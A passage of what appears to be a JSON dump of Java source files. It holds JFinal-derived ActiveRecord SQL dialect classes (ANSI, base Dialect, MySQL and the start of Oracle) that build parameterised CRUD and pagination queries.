    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport io.github.wujun728.db.record.*;\nimport io.github.wujun728.db.record.builder.TimestampProcessedRecordBuilder;\n\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Set;\n\n/**\n * AnsiSqlDialect. Try to use ANSI SQL dialect with ActiveRecordPlugin.\n * <p>\n * A clever person solves a problem. A wise person avoids it.\n */\npublic class AnsiSqlDialect extends Dialect {\n\t\n\tpublic AnsiSqlDialect() {\n\t\tthis.recordBuilder = TimestampProcessedRecordBuilder.me;\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \" + tableName + \" where 1 = 2\";\n\t}\n\t\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tsql.append(\"insert into \");\n\t\tsql.append(tableName).append('(');\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append(e.getKey());\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\t// Record 新增支持 modifyFlag\n//\t\tSet<String> modifyFlag = CPI.getModifyFlag(record);\n\t\tSet<String> modifyFlag = record._getModifyFlag();\n\n\t\tsql.append(\"update \").append(tableName).append(\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (modifyFlag.contains(colName) && !isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append(colName).append(\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\t/**\n\t * SELECT * FROM subject t1 WHERE (SELECT count(*) FROM subject t2 WHERE t2.id < t1.id AND t2.key = '123') > = 10 AND (SELECT count(*) FROM subject t2 WHERE t2.id < t1.id AND t2.key = '123') < 20 AND t1.key = '123'\n\t */\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tthrow new ActiveRecordException(\"Your should not invoke this method because takeOverDbPaginate(...) will take over it.\");\n\t}\n\t\n\tpublic boolean isTakeOverDbPaginate() {\n\t\treturn true;\n\t}\n\t\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic Page<Record> takeOverDbPaginate(Connection conn, int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSql, Object... paras) throws SQLException {\n\t\t// String totalRowSql = \"select count(*) \" + replaceOrderBy(sqlExceptSelect);\n//\t\tList result = CPI.query(conn, totalRowSql, paras);\n\t\tList result = Db.query(totalRowSql, paras);\n\t\tint size = result.size();\n\t\tif (isGroupBySql == null) {\n\t\t\tisGroupBySql = size > 1;\n\t\t}\n\t\t\n\t\tlong totalRow;\n\t\tif (isGroupBySql) {\n\t\t\ttotalRow = size;\n\t\t} else {\n\t\t\ttotalRow = (size > 0) ? ((Number)result.get(0)).longValue() : 0;\n\t\t}\n\t\tif (totalRow == 0) {\n\t\t\treturn new Page<Record>(new ArrayList<Record>(0), pageNumber, pageSize, 0, 0);\n\t\t}\n\t\t\n\t\tint totalPage = (int) (totalRow / pageSize);\n\t\tif (totalRow % pageSize != 0) {\n\t\t\ttotalPage++;\n\t\t}\n\t\tif (pageNumber > totalPage) {\n\t\t\treturn new Page<Record>(new ArrayList<Record>(0), pageNumber, pageSize, totalPage, (int)totalRow);\n\t\t}\n\t\t\n\t\t// StringBuilder sql = new StringBuilder();\n\t\t// sql.append(select).append(\" \").append(sqlExceptSelect);\n\t\tPreparedStatement pst = conn.prepareStatement(findSql.toString(), ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);\n\t\tfor (int i=0; i<paras.length; i++) {\n\t\t\tpst.setObject(i + 1, paras[i]);\n\t\t}\n\t\tResultSet rs = pst.executeQuery();\n\t\t\n\t\t// move the cursor to the start\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfor (int i=0; i<offset; i++) {\n\t\t\tif (!rs.next()) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\tList<Record> list = buildRecord(rs, pageSize);\n\t\tif (rs != null) rs.close();\n\t\tif (pst != null) pst.close();\n\t\treturn new Page<Record>(list, pageNumber, pageSize, totalPage, (int) totalRow);\n\t}\n\t\n\tprivate List<Record> buildRecord(ResultSet rs, int pageSize) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tString[] labelNames = new String[columnCount + 1];\n\t\tint[] types = new int[columnCount + 1];\n\t\tbuildLabelNamesAndTypes(rsmd, labelNames, types);\n\t\tfor (int k=0; k<pageSize && rs.next(); k++) {\n\t\t\tRecord record = new Record();\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (int i=1; i<=columnCount; i++) {\n\t\t\t\tObject value;\n\t\t\t\tif (types[i] < Types.BLOB) {\n\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t} else if (types[i] == Types.CLOB) {\n\t\t\t\t\tvalue = RecordBuilder.me.handleClob(rs.getClob(i));\n\t\t\t\t} else if (types[i] == Types.NCLOB) {\n\t\t\t\t\tvalue = RecordBuilder.me.handleClob(rs.getNClob(i));\n\t\t\t\t} else if (types[i] == Types.BLOB) {\n\t\t\t\t\tvalue = RecordBuilder.me.handleBlob(rs.getBlob(i));\n\t\t\t\t} else {\n\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t}\n\t\t\t\tcolumns.put(labelNames[i], value);\n\t\t\t}\n\t\t\tresult.add(record);\n\t\t}\n\t\treturn result;\n\t}\n\t\n\tprivate void buildLabelNamesAndTypes(ResultSetMetaData rsmd, String[] labelNames, int[] types) throws SQLException {\n\t\tfor (int i=1; i<labelNames.length; i++) {\n\t\t\t// 备忘：getColumnLabel 获取 sql as 子句指定的名称而非字段真实名称\n\t\t\tlabelNames[i] = rsmd.getColumnLabel(i);\n\t\t\ttypes[i] = rsmd.getColumnType(i);\n\t\t}\n\t}\n\t\n\tpublic boolean isTakeOverModelPaginate() {\n\t\treturn true;\n\t}\n\t\n\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/dialect/Dialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.function.Function;\nimport java.util.regex.Pattern;\n\nimport io.github.wujun728.db.record.Config;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.RecordBuilder;\n\n/**\n * Dialect.\n */\npublic abstract class Dialect {\n\t\n\t// 指示 Generator、ModelBuilder、RecordBuilder 是否保持住 Byte、Short 类型\n\tprotected boolean keepByteAndShort = false;\n//\tprotected ModelBuilder modelBuilder = ModelBuilder.me;\n\tprotected RecordBuilder recordBuilder = RecordBuilder.me;\n\t\n\t// Methods for common\n\tpublic abstract String forTableBuilderDoBuild(String tableName);\n\tpublic abstract String forPaginate(int pageNumber, int pageSize, StringBuilder findSql);\n\t\n\t// Methods for Model\n//\tpublic abstract String forModelFindById(Table table, String columns);\n//\tpublic abstract String forModelDeleteById(Table table);\n//\tpublic abstract void forModelSave(Table table, Map<String, Object> attrs, StringBuilder sql, List<Object> paras);\n//\tpublic abstract void forModelUpdate(Table table, Map<String, Object> attrs, Set<String> modifyFlag, StringBuilder sql, List<Object> paras);\n\t\n\t// Methods for DbPro. Do not delete the String[] pKeys parameter, the element of pKeys needs to trim()\n\tpublic abstract String forDbFindById(String tableName, String[] pKeys);\n\tpublic abstract String forDbDeleteById(String tableName, String[] pKeys);\n\tpublic abstract void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras);\n\tpublic abstract void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras);\n\t\n\tpublic String forFindAll(String tableName) {\n\t\treturn \"select * from \" + tableName;\n\t}\n\t\n\t/**\n\t * 指示 Generator、ModelBuilder、RecordBuilder 是否保持住 Byte、Short 类型\n\t */\n//\tpublic Dialect setKeepByteAndShort(boolean keepByteAndShort) {\n//\t\tthis.keepByteAndShort = keepByteAndShort;\n//\t\t/**\n//\t\t * 内部的 4 个 if 判断是为了避免替换掉用户通过 setModelBuilder(...)\n//\t\t * setRecordBuilder(...) 配置的自定义 builder\n//\t\t */\n//\t\tif (keepByteAndShort) {\n//\t\t\tif (modelBuilder.getClass() == ModelBuilder.class) {\n//\t\t\t\tmodelBuilder = KeepByteAndShortModelBuilder.me;\n//\t\t\t}\n//\t\t\tif (recordBuilder.getClass() == RecordBuilder.class) {\n//\t\t\t\trecordBuilder = KeepByteAndShortRecordBuilder.me;\n//\t\t\t}\n//\t\t} else {\n//\t\t\tif (modelBuilder.getClass() == KeepByteAndShortModelBuilder.class) {\n//\t\t\t\tmodelBuilder = ModelBuilder.me;\n//\t\t\t}\n//\t\t\tif (recordBuilder.getClass() == KeepByteAndShortRecordBuilder.class) {\n//\t\t\t\trecordBuilder = RecordBuilder.me;\n//\t\t\t}\n//\t\t}\n//\t\treturn this;\n//\t}\n\t\n\t/**\n\t * 指示 MetaBuilder 生成的 ColumnMeta.javaType 是否保持住 Byte、Short 类型\n\t * 进而 BaseModelBuilder 生成针对 Byte、Short 类型的获取方法： \n\t * getByte(String)、getShort(String)\n\t */\n\tpublic boolean isKeepByteAndShort() {\n\t\treturn keepByteAndShort;\n\t}\n\t\n\t/**\n\t * 配置自定义 ModelBuilder\n\t * \n\t * 通过继承扩展 ModelBuilder 可以对 JDBC 到 java 数据类型进行定制化转换\n\t * 不同数据库从 JDBC 到 java 数据类型的映射关系有所不同\n\t * \n\t * 此外，还可以通过改变 ModelBuilder.buildLabelNamesAndTypes()\n\t * 方法逻辑，实现下划线字段名转驼峰变量名的功能\n\t */\n//\tpublic Dialect setModelBuilder(ModelBuilder modelBuilder) {\n//\t\tthis.modelBuilder = modelBuilder;\n//\t\treturn this;\n//\t}\n\t\n\t/**\n\t * 配置自定义 RecordBuilder\n\t * \n\t * 通过继承扩展 RecordBuilder 可以对 JDBC 到 java 数据类型进行定制化转换\n\t * 不同数据库从 JDBC 到 java 数据类型的映射关系有所不同\n\t * \n\t * 此外，还可以通过改变 RecordBuilder.buildLabelNamesAndTypes()\n\t * 方法逻辑，实现下划线字段名转驼峰变量名的功能\n\t */\n\tpublic Dialect setRecordBuilder(RecordBuilder recordBuilder) {\n\t\tthis.recordBuilder = recordBuilder;\n\t\treturn this;\n\t}\n\t\n//\t@SuppressWarnings(\"rawtypes\")\n//\tpublic <T> List<T> buildModelList(ResultSet rs, Class<? extends Model> modelClass) throws SQLException, ReflectiveOperationException {\n//\t\treturn modelBuilder.build(rs, modelClass);\n//\t}\n//\n//\t@SuppressWarnings(\"rawtypes\")\n//\tpublic <T> void eachModel(ResultSet rs, Class<? extends Model> modelClass, Function<T, Boolean> func) throws SQLException, ReflectiveOperationException {\n//\t\tmodelBuilder.build(rs, modelClass, func);\n//\t}\n\t\n\tpublic List<Record> buildRecordList(Config config, ResultSet rs) throws SQLException {\n\t\treturn recordBuilder.build(config, rs);\n\t}\n\t\n\tpublic void eachRecord(Config config, ResultSet rs, Function<Record, Boolean> func) throws SQLException {\n\t\trecordBuilder.build(config, rs, func);\n\t}\n\t\n\t/**\n\t * 用于获取 Model.save() 以后自动生成的主键值，可通过覆盖此方法实现更精细的控制\n\t * 目前只有 PostgreSqlDialect，覆盖过此方法\n\t */\n//\tpublic void getModelGeneratedKey(Model<?> model, PreparedStatement pst, Table table) throws SQLException {\n//\t\tString[] pKeys = table.getPrimaryKey();\n//\t\tResultSet rs = pst.getGeneratedKeys();\n//\t\tfor (String pKey : pKeys) {\n//\t\t\tif (model.get(pKey) == null || isOracle()) {\n//\t\t\t\tif (rs.next()) {\n//\t\t\t\t\tClass<?> colType = table.getColumnType(pKey);\n//\t\t\t\t\tif (colType != null) {\t// 支持没有主键的用法，有人将 model 改造成了支持无主键:济南-费小哥\n//\t\t\t\t\t\tif (colType == Integer.class || colType == int.class) {\n//\t\t\t\t\t\t\tmodel.set(pKey, rs.getInt(1));\n//\t\t\t\t\t\t} else if (colType == Long.class || colType == long.class) {\n//\t\t\t\t\t\t\tmodel.set(pKey, rs.getLong(1));\n//\t\t\t\t\t\t} else if (colType == BigInteger.class) {\n//\t\t\t\t\t\t\tprocessGeneratedBigIntegerKey(model, pKey, rs.getObject(1));\n//\t\t\t\t\t\t} else {\n//\t\t\t\t\t\t\tmodel.set(pKey, rs.getObject(1));\t// It returns Long for int colType for mysql\n//\t\t\t\t\t\t}\n//\t\t\t\t\t}\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}\n//\t\trs.close();\n//\t}\n\t\n\t/**\n\t * mysql 数据库的  bigint unsigned 对应的 java 类型为 BigInteger\n\t * 但是 rs.getObject(1) 返回值为 Long 型，造成 model.save() 以后\n\t * model.getId() 时的类型转换异常 \n\t */\n//\tprotected void processGeneratedBigIntegerKey(Model<?> model, String pKey, Object v) {\n//\t\tif (v instanceof BigInteger) {\n//\t\t\tmodel.set(pKey, (BigInteger)v);\n//\t\t} else if (v instanceof Number) {\n//\t\t\tNumber n = (Number)v;\n//\t\t\tmodel.set(pKey, BigInteger.valueOf(n.longValue()));\n//\t\t} else {\n//\t\t\tmodel.set(pKey, v);\n//\t\t}\n//\t}\n\t\n\t/**\n\t * 用于获取 Db.save(tableName, record) 以后自动生成的主键值，可通过覆盖此方法实现更精细的控制\n\t * 目前只有 PostgreSqlDialect，覆盖过此方法\n\t */\n\tpublic void getRecordGeneratedKey(PreparedStatement pst, Record record, String[] pKeys) throws SQLException {\n\t\tResultSet rs = pst.getGeneratedKeys();\n\t\tfor (String pKey : pKeys) {\n\t\t\tif (record.get(pKey) == null || isOracle()) {\n\t\t\t\tif (rs.next()) {\n\t\t\t\t\trecord.set(pKey, rs.getObject(1));\t// It returns Long for int colType for mysql\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\trs.close();\n\t}\n\t\n\tpublic boolean isOracle() {\n\t\treturn false;\n\t}\n\t\n\tpublic boolean isTakeOverDbPaginate() {\n\t\treturn false;\n\t}\n\t\n\tpublic Page<Record> takeOverDbPaginate(Connection conn, int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSql, Object... paras) throws SQLException {\n\t\tthrow new RuntimeException(\"You should implements this method in \" + getClass().getName());\n\t}\n\t\n\tpublic boolean isTakeOverModelPaginate() {\n\t\treturn false;\n\t}\n\t\n\t@SuppressWarnings(\"rawtypes\")\n//\tpublic Page takeOverModelPaginate(Connection conn, Class<? extends Model> modelClass, int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSql, Object... paras) throws Exception {\n//\t\tthrow new RuntimeException(\"You should implements this method in \" + getClass().getName());\n//\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfor (int i=0, size=paras.size(); i<size; i++) {\n\t\t\tpst.setObject(i + 1, paras.get(i));\n\t\t}\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfor (int i=0; i<paras.length; i++) {\n\t\t\tpst.setObject(i + 1, paras[i]);\n\t\t}\n\t}\n\t\n\tpublic String getDefaultPrimaryKey() {\n\t\treturn \"id\";\n\t}\n\t\n\tpublic boolean isPrimaryKey(String colName, String[] pKeys) {\n\t\tfor (String pKey : pKeys) {\n\t\t\tif (colName.equalsIgnoreCase(pKey)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 一、forDbXxx 系列方法中若有如下两种情况之一，则需要调用此方法对 pKeys 数组进行 trim():\n\t * 1：方法中调用了 isPrimaryKey(...)：为了防止在主键相同情况下，由于前后空串造成 isPrimaryKey 返回 false\n\t * 2：为了防止 tableName、colName 与数据库保留字冲突的，添加了包裹字符的：为了防止串包裹区内存在空串\n\t *   如 mysql 使用的 \"`\" 字符以及 PostgreSql 使用的 \"\\\"\" 字符\n\t * 不满足以上两个条件之一的 forDbXxx 系列方法也可以使用 trimPrimaryKeys(...) 方法让 sql 更加美观，但不是必须\n\t * \n\t * 二、forModelXxx 由于在映射时已经trim()，故不再需要调用此方法\n\t */\n\tpublic void trimPrimaryKeys(String[] pKeys) {\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tpKeys[i] = pKeys[i].trim();\n\t\t}\n\t}\n\t\n\tprotected static class Holder {\n\t\t// \"order\\\\s+by\\\\s+[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?(\\\\s*,\\\\s*[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?)*\";\n\t\tprivate static final Pattern ORDER_BY_PATTERN = Pattern.compile(\n\t\t\t\"order\\\\s+by\\\\s+[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?(\\\\s*,\\\\s*[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?)*\",\n\t\t\tPattern.CASE_INSENSITIVE | Pattern.MULTILINE);\n\t}\n\t\n\tpublic String replaceOrderBy(String sql) {\n\t\treturn Holder.ORDER_BY_PATTERN.matcher(sql).replaceAll(\"\");\n\t}\n\t\n\t/**\n\t * fillStatement 时处理日期类型\n\t */\n\tprotected void fillStatementHandleDateType(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfor (int i=0, size=paras.size(); i<size; i++) {\n\t\t\tObject value = paras.get(i);\n\t\t\tif (value instanceof java.util.Date) {\n\t\t\t\tif (value instanceof java.sql.Date) {\n\t\t\t\t\tpst.setDate(i + 1, (java.sql.Date)value);\n\t\t\t\t} else if (value instanceof java.sql.Timestamp) {\n\t\t\t\t\tpst.setTimestamp(i + 1, (java.sql.Timestamp)value);\n\t\t\t\t} else {\n\t\t\t\t\t// Oracle、SqlServer 中的 TIMESTAMP、DATE 支持 new Date() 给值\n\t\t\t\t\tjava.util.Date d = (java.util.Date)value;\n\t\t\t\t\tpst.setTimestamp(i + 1, new java.sql.Timestamp(d.getTime()));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpst.setObject(i + 1, value);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * fillStatement 时处理日期类型\n\t */\n\tprotected void fillStatementHandleDateType(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfor (int i=0; i<paras.length; i++) {\n\t\t\tObject value = paras[i];\n\t\t\tif (value instanceof java.util.Date) {\n\t\t\t\tif (value instanceof java.sql.Date) {\n\t\t\t\t\tpst.setDate(i + 1, (java.sql.Date)value);\n\t\t\t\t} else if (value instanceof java.sql.Timestamp) {\n\t\t\t\t\tpst.setTimestamp(i + 1, (java.sql.Timestamp)value);\n\t\t\t\t} else {\n\t\t\t\t\t// Oracle、SqlServer 中的 TIMESTAMP、DATE 支持 new Date() 给值\n\t\t\t\t\tjava.util.Date d = (java.util.Date)value;\n\t\t\t\t\tpst.setTimestamp(i + 1, new java.sql.Timestamp(d.getTime()));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpst.setObject(i + 1, value);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * 为分页方法生成查询 totalRow 值的 sql\n\t * @param select sql 语句的 select 部分\n\t * @param sqlExceptSelect sql 语句除了 select 以外的部分\n\t * @param ext 扩展参数，在 Model 调用时传入 Model 对象，在 DbPro 调用时传入 null\n\t */\n\tpublic String forPaginateTotalRow(String select, String sqlExceptSelect, Object ext) {\n\t\treturn \"select count(*) \" + replaceOrderBy(sqlExceptSelect);\n\t}\n}\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/dialect/MysqlDialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.util.List;\nimport java.util.Map.Entry;\nimport java.util.Set;\n\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.builder.TimestampProcessedRecordBuilder;\n\n/**\n * MysqlDialect.\n */\npublic class MysqlDialect extends Dialect {\n\n\tpublic MysqlDialect() {\n\t\tthis.recordBuilder = TimestampProcessedRecordBuilder.me;\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from `\" + tableName + \"` where 1 = 2\";\n\t}\n\t\n\tpublic String forFindAll(String tableName) {\n\t\treturn \"select * from `\" + tableName + \"`\";\n\t}\n\t\n\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from `\").append(tableName).append(\"` where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('`').append(pKeys[i]).append(\"` = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from `\").append(tableName).append(\"` where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('`').append(pKeys[i]).append(\"` = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\t/**\n\t * Do not delete the String[] pKeys parameter, the element of pKeys needs to trim()\n\t */\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\t// important\n\t\t\n\t\tsql.append(\"insert into `\");\n\t\tsql.append(tableName).append(\"`(\");\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append('`').append(e.getKey()).append('`');\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\t// Record 新增支持 modifyFlag\n\t\tSet<String> modifyFlag = record._getModifyFlag();\n\t\t\n\t\tsql.append(\"update `\").append(tableName).append(\"` set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (modifyFlag.contains(colName) && !isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append('`').append(colName).append(\"` = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('`').append(pKeys[i]).append(\"` = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfindSql.append(\" limit \").append(offset).append(\", \").append(pageSize);\t// limit can use one or two '?' to pass paras\n\t\treturn findSql.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/dialect/OracleDialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map.Entry;\nimport java.util.Set;\n\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.builder.TimestampProcessedRecordBuilder;\n\n/**\n * OracleDialect.\n */\npublic class OracleDialect extends Dialect {\n\t\n\tpublic OracleDialect() {\n\t\tthis.recordBuilder = TimestampProcessedRecordBuilder.me;\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \" + tableName + \" where rownum < 1\";\n\t}\n\t\n\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from 